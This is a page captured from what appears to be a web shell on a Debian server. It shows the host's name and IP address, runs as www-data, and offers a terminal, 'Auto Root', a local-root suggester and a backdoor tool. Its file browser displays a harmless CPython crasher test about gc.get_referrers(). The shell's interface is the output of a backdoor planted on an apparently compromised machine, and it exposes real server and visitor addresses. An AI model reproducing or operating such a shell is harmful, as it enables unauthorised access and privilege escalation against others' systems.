Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.119
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
src /
Python-3.10.14 /
Lib /
test /
crashers /
Delete
Unzip
Name
Size
Permission
Date
Action
README
1
KB
-rw-r--r--
2024-03-19 22:46
bogus_code_obj.py
628
B
-rw-r--r--
2024-03-19 22:46
gc_inspection.py
1.07
KB
-rw-r--r--
2024-03-19 22:46
infinite_loop_re.py
645
B
-rw-r--r--
2024-03-19 22:46
mutation_inside_cyclegc.py
753
B
-rw-r--r--
2024-03-19 22:46
recursive_call.py
358
B
-rwxr-xr-x
2024-03-19 22:46
trace_at_recursion_limit.py
376
B
-rw-r--r--
2024-03-19 22:46
underlying_dict.py
282
B
-rw-r--r--
2024-03-19 22:46
Save
Rename
""" gc.get_referrers() can be used to see objects before they are fully built. Note that this is only an example. There are many ways to crash Python by using gc.get_referrers(), as well as many extension modules (even when they are using perfectly documented patterns to build objects). Identifying and removing all places that expose to the GC a partially-built object is a long-term project. A patch was proposed on SF specifically for this example but I consider fixing just this single example a bit pointless (#1517042). A fix would include a whole-scale code review, possibly with an API change to decouple object creation and GC registration, and according fixes to the documentation for extension module writers. It's unlikely to happen, though. So this is currently classified as "gc.get_referrers() is dangerous, use only for debugging". """ import gc def g(): marker = object() yield marker # now the marker is in the tuple being constructed [tup] = [x for x in gc.get_referrers(marker) if type(x) is tuple] print(tup) print(tup[1]) tuple(g())